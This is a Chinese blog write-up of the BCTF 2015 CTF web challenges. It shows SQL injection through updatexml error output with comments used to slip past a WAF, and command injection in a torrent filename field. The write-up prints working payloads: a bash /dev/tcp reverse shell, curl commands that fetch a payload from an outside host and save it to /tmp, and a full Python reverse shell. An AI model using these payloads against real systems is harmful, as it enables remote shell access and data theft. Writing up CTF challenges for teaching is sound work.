BCTF 2015 WEB部分知识总结

IRC

登录官方IRC,得到一个字符串
Check in: OPGS{jr1p0zr-g0-OPGS-2015_t00q-yhpx}
ROT13解密: {we1c0me-t0-BCTF-2015_g00d-luck}

Sqli_engine

1.Bypass waf 使用/*/*/注释代替“空格”绕过WAF
2.报错注入,使用updatexml函数,进行报错注入回显
具体技术详情见:http://drops.wooyun.org/tips/2078

  • 根据上述思路,在用户注册URL页面进行报错注入:
    1
    username=123&password='/_/_/or/_/_/updatexml(1,(select/_/_/password from/_/_/users/_/_/limit 1),1) or '

得到如图结果:

  • 获取全部flag
    发现只有一部分flag,{h0w-d1d-y0u-fee1-l1ke-th3-sql1-
    RIGHT(str,len)函数介绍:str待截取的字段或是字段具体内容,len需要截取字符长度,此函数的功能是从字段str右端开始截取长度为len的字符,即取后len位。
1
2
3
4
username=123&password='/*/*/or/*/*/updatexml(1,(select/*/*/right(password,20)/*/*/from/*/*/users/*/*/limit 1),1) or '

得到:(1105, "XPATH syntax error: 'ke-th3-sql1-eng1ne}'")
整理得到flag: `{h0w-d1d-y0u-fee1-l1ke-th3-sql1- eng1ne}`

Torrent_lover

进行简单的系统测试,输入云主机的ip路径,并监听其行为: 可以看到是Wget/1.15,说明使用了命令wget下载文件,所以考虑命令注入。
获取shell的思路为:
1.下载含有reverse shell的python文件到主机/tmp目录下
2.python /tmp/文件名,执行反弹shell

  • 反弹shell的知识
    1.nc -l -p 1234 –vvv 攻击者的服务器监听1234端口
    2.bash -i >& /dev/tcp/127.0.0.1/1234 0>&1 迫使服务器连接攻击者的服务器,并执行命令
  • 获取shell的实际情况

在输入框中,输入:

1
2
3
4
`curl${IFS}http://angelwhu.duapp.com/reserve_shell/reserve_shell.txt${IFS}>/tmp/angelwhu_test.txt`.torrent

http://120.26.80.94:1000/`source$IFS/tmp/0112.sh`.torrent
http://120.26.80.94:1234/`echo${IFS}a;`.torrent

这里使用了${IFS}来替代空格,bypass URL限制 经过以上测试,发现屏蔽了bash命令。改用使用python脚本形式的reserve_shell。 Python 版本:

1
import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("120.26.80.94",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);

在输入框输入下载文件并执行的命令:

1
2
3
http://120.26.80.94:10001/`curl${IFS}"http://angelwhu.duapp.com/reserve_shell/reserve_shell_py.txt">/tmp/123.py;echo${IFS}a`.torrent

http://120.26.80.94:10002/`python${IFS}/tmp/123.py;echo${IFS}a`.torrent

然后,用软链接的技巧获取flag。
flag:BCTF{Do_not_play_dota2_or_you_will_be_stupid_like_me233} 参考:http://linux.im/2015/03/23/BCTF-WEB-Writeup.html

文章作者: angelwhu
文章链接: https://www.angelwhu.com/paper/2015/07/18/bctf-2015-web-part-of-the-knowledge-summary/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 angelwhu_blog